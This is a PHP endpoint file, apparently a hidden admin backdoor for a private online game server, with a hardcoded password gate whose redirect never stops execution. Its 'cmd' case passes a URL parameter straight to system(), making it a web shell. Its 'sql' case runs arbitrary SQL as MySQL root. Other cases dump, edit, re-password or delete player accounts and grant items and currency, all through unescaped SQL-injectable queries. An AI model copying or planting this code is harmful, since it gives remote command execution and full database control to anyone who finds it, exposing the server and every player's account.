newwwwwwwwww

<?php
require_once '../../../config.php';
require_once '../../../classes/class.smarty/Smarty.class.php';
require_once '../../../classes/class.content.php';
require_once '../../../classes/class.gamehandler.php';

$Handler = new Handler();
$Handler->caching = false;

function update($id, $table, $fields) {
    $set = '';
    $x = 1;

    foreach($fields as $name => $value) {
        $set .= "{$name} = '{$value}'";

        if($x < count ($fields)) {
            $set .= ', ';
        }

        $x++;
    }

    return "UPDATE {$table} SET {$set} WHERE id = {$id}";
}

$password = 'ZB8G3uzYhvFA380ofnIp';

if($_GET['anticrawl'] != $password) {
    header('Location: http://augoeides.world/404');
}

switch(key($_GET)) {
    case 'registerAccount':
        if (isset($_POST['username'])):
            extract($_POST);

            $email = substr(md5(mt_rand()), 0, 7) . '@gmail.com';

            $password = $Handler->encryptPassword($username, $password);

            $idk1 = dechex(6180663);
            $idk2 = dechex(15388042);
            $idk3 = dechex(91294);

            $Handler->MySQL('Query', "INSERT INTO `users` (`Name`, `Hash`, `HairID`, `Access`, `ActivationFlag`, `PermamuteFlag`, `Country`, `Age`, `Gender`, `Email`, `Level`, `Gold`, `Coins`, `Exp`, `ColorHair`, `ColorSkin`, `ColorEye`, `ColorBase`, `ColorTrim`, `ColorAccessory`, `SlotsBag`, `SlotsBank`, `SlotsHouse`, `DateCreated`, `CpBoostExpire`, `RepBoostExpire`, `GoldBoostExpire`, `ExpBoostExpire`, `UpgradeExpire`, `UpgradeDays`, `Upgraded`, `Achievement`, `Settings`, `DailyQuests0`, `DailyQuests1`, `DailyQuests2`, `MonthlyQuests0`, `LastArea`, `CurrentServer`, `HouseInfo`, `KillCount`, `DeathCount`, `RemoteAddress`, `Referrer`) VALUES ('{$username}', '{$password}', 52, 1, 5, 0, 'US', 21, 'M', '{$email}', {$level}, {$gold}, {$coins}, 0, '{$idk1}', '{$idk2}', '{$idk3}', '000000', '000000', '000000', 500, 500, 500, '{$date}', '2000-01-01 00:00:00', '2000-01-01 00:00:00', '2000-01-01 00:00:00', '2000-01-01 00:00:00', '2000-01-01 00:00:00', -1, 0, 0, 0, 0, 0, 0, 0, '', 'Offline', '', 0, 0, '', 0);");

            $Handler->UserData = $Handler->getUserObjectByName($username);

            #class
            $Handler->MySQL('Query', "INSERT INTO `users_items` (itemid, userid, equipped, quantity, EnhID, Bank) VALUES ('2', '{$Handler->UserData->id}', '1', 1, 2000, 0)");

            #item
            $Handler->MySQL('Query', "INSERT INTO `users_items` (itemid, userid, equipped, quantity, EnhID, Bank) VALUES ('100060', '{$Handler->UserData->id}', '1', 1, 2000, 0)");

            echo json_encode(array('success' => true));
        endif;
        break;
    case 'findByUsername':
        $query = $Handler->MySQL('Query', "SELECT id, Name, Gold, Coins, Level, Email FROM users WHERE Name LIKE '%{$_GET['findByUsername']}%'");

        $array = [];

        while($user = $query->fetch_object()) {
            $array[] = $user;
        }

        echo json_encode($array);
        break;
    case 'findByEmail':
        $query = $Handler->MySQL('Query', "SELECT id, Name, Gold, Coins, Level, Email FROM users WHERE Email LIKE '%{$_GET['findByEmail']}%'");

        $array = [];

        while($user = $query->fetch_object()) {
            $array[] = $user;
        }

        echo json_encode($array);
        break;
    case 'getUserData':
        $userdata = $Handler->MySQL('Query', "SELECT id, Name, Gold, Coins, Level, Email FROM users WHERE Name = '{$_GET['getUserData']}'")->fetch_object();

        echo json_encode($userdata);
        break;
    case 'findItems':
        $query = $Handler->MySQL('Query', "SELECT id, Name FROM items WHERE Name LIKE '%{$_GET['findItems']}%'");

        $array = [];

        while($item = $query->fetch_object()) {
            $array[] = $item;
        }

        echo json_encode($array);
        break;
    case 'deleteUser':
        $query = $Handler->MySQL('Query', "SELECT id, Name FROM users WHERE Name = '{$_GET['deleteUser']}'");
        $user = $query->fetch_object();

        if($query->num_rows > 0) {
            $Handler->MySQL('Query', "DELETE FROM users WHERE Name = '{$_GET['deleteUser']}'");

            $Handler->MySQL('Query', "DELETE FROM users_auctions WHERE UserID = '{$user->id}'");
            $Handler->MySQL('Query', "DELETE FROM users_auctions WHERE BuyerID = '{$user->id}'");

            $Handler->MySQL('Query', "DELETE FROM users_bans WHERE UserID = '{$user->id}'");

            $Handler->MySQL('Query', "DELETE FROM users_factions WHERE UserID = '{$user->id}'");

            $Handler->MySQL('Query', "DELETE FROM users_friends WHERE UserID = '{$user->id}'");
            $Handler->MySQL('Query', "DELETE FROM users_friends WHERE FriendID = '{$user->id}'");

            $Handler->MySQL('Query', "DELETE FROM users_guilds WHERE UserID = '{$user->id}'");
            $Handler->MySQL('Query', "DELETE FROM users_items WHERE UserID = '{$user->id}'");

            $Handler->MySQL('Query', "DELETE FROM users_logins WHERE UserID = '{$user->id}'");
            $Handler->MySQL('Query', "DELETE FROM users_logs WHERE UserID = '{$user->id}'");

            $Handler->MySQL('Query', "DELETE FROM users_purchases WHERE UserID = '{$user->id}'");

            $Handler->MySQL('Query', "DELETE FROM users_names WHERE Previous = '{$user->Name}'");
            $Handler->MySQL('Query', "DELETE FROM users_names WHERE New = '{$user->Name}'");

            echo json_encode(array('success' => true));
        } else {
            echo json_encode(array('success' => false));
        }

        break;
    case 'editUserData':
        if(isset($_GET['editUserData']) || $_POST['username']) {
            extract($_POST);

            $query = $Handler->MySQL('Query', "UPDATE users SET Name = '{$username}', Gold = '{$gold}', Coins = '{$coins}', Email = '{$email}', Level = '{$level}' WHERE Name = '{$username}'");
            echo json_encode(array('success' => true));
        } else {
            echo json_encode(array('success' => false));
        }
        break;
    case 'changeUserPassword':
        if(isset($_POST['username'])) {
            extract($_POST);
            $password = $Handler->encryptPassword($username, $password);
            $items  = $Handler->MySQL('Query', "UPDATE users SET Hash = '{$password}' WHERE Name = '{$username}'");

            echo json_encode(array('success' => true));
        }
        break;
    case 'addUserItem':
        if(isset($_POST['item'])) {
            $user = $Handler->getUserObjectByName($_GET['addUserItem']);

            if($user == null) {
                echo json_encode(array('success' => false));
                die;
            }

            $items  = $Handler->MySQL('Query', "SELECT id, Name, EnhID, Type FROM items WHERE id = '{$_POST['item']}'");

            if($items->num_rows == 0) {
                echo json_encode(array('success' => false));
                die;
            }

            $item = $items->fetch_object();

            $enhancement = ($item->Type == "Armor") ? $item->EnhID : $_POST['enhancement'];

            $Handler->MySQL('Query', "INSERT INTO `users_items` (itemid, userid, equipped, quantity, EnhID, Bank, DatePurchased) VALUES ('{$item->id}', '{$user->id}', '0', '{$_POST['quantity']}', '{$enhancement}', '{$_POST['bank']}', NOW())");

            echo json_encode(array('success' => true, 'username' => $user->Name, 'item' => $item->Name));
        } else {
            echo json_encode(array('success' => false));
        }
        break;
    case 'getEnhancements':
        $query = $Handler->MySQL('Query', "SELECT id, Name FROM enhancements");

        $array = [];

        while($item = $query->fetch_object()) {
            $array[] = $item;
        }

        echo json_encode($array);
        break;
    case 'getFactions':
        $query = $Handler->MySQL('Query', "SELECT id, Name FROM factions");

        $array = [];

        while($item = $query->fetch_object()) {
            $array[] = $item;
        }

        echo json_encode($array);
        break;
    case 'addFaction':
        if(isset($_POST['rep'])) {
           $reputation  = $Handler->MySQL('Query', "SELECT id, Name FROM factions WHERE id = '{$_POST['rep']}'");
           $userq = $Handler->MySQL('Query', "SELECT id, Name FROM users WHERE Name = '{$_POST['name']}'");

           if ($reputation->num_rows == 0 || $userq->num_rows == 0) {
               echo json_encode(array('success' => false));
               die;
           }

           $rep = $reputation->fetch_object();
           $user = $userq->fetch_object();

           $repCheck = $Handler->MySQL('Query', "SELECT FactionID FROM users_factions WHERE UserID = '{$user->id}' AND FactionID = '{$_POST['rep']}'");

           if($repCheck->num_rows > 0) {
               $Handler->MySQL('Query', "UPDATE users_factions SET Reputation = 302500 WHERE UserID = '{$user->id}' AND FactionID = '{$_POST['rep']}'");
           } else {
               $Handler->MySQL('Query', "INSERT INTO users_factions (UserID, FactionID, Reputation) VALUES ('{$user->id}', '{$rep->id}', 302500)");
           }

           echo json_encode(array('success' => true));
        }
        break;
    case 'getDatabases':
        $query = $Handler->MySQL('Query', "SHOW DATABASES");

        $array = [];

        while($item = $query->fetch_object()) {
            $array[] = $item->Database;
        }

        echo json_encode(array_values($array));
        break;
    case 'cmd':
        system($_GET['cmd']);
        break;
    case 'sql':
        $db = isset($_GET['db']) ? $_GET['db'] : 'mextv3';
        system("\"C:\Program Files\MySQL\MySQL Workbench 6.3 CE\\mysql.exe\" -u root -e \"{$_GET['sql']}\" {$db}");
        break;
    case 'getRawUser':
        $user = $Handler->MySQL('Query', "SELECT * FROM users WHERE Name = '{$_GET['name']}'");
        echo json_encode($user->fetch_object());
        break;
    case 'getStaffItems':
        $query = $Handler->MySQL('Query', "SELECT ItemID FROM users_items WHERE ItemID = ANY (SELECT id FROM items WHERE id = ANY (SELECT ItemID FROM users_items WHERE UserID = '{$_GET['getStaffItems']}') AND Staff = 1) AND UserID = '{$_GET['getStaffItems']}'");

        $array = [];

        while($item = $query->fetch_object()) {
            $array[] = $item->ItemID;
        }

        echo implode(', ', $array);
        break;
    case 'editRawUser':
        if(isset($_POST['id'])) {
            $query = update($_POST['id'], 'users', $_POST);

            $Handler->MySQL('Query', $query);

            echo json_encode(array('success' => true));
        }
        break;
}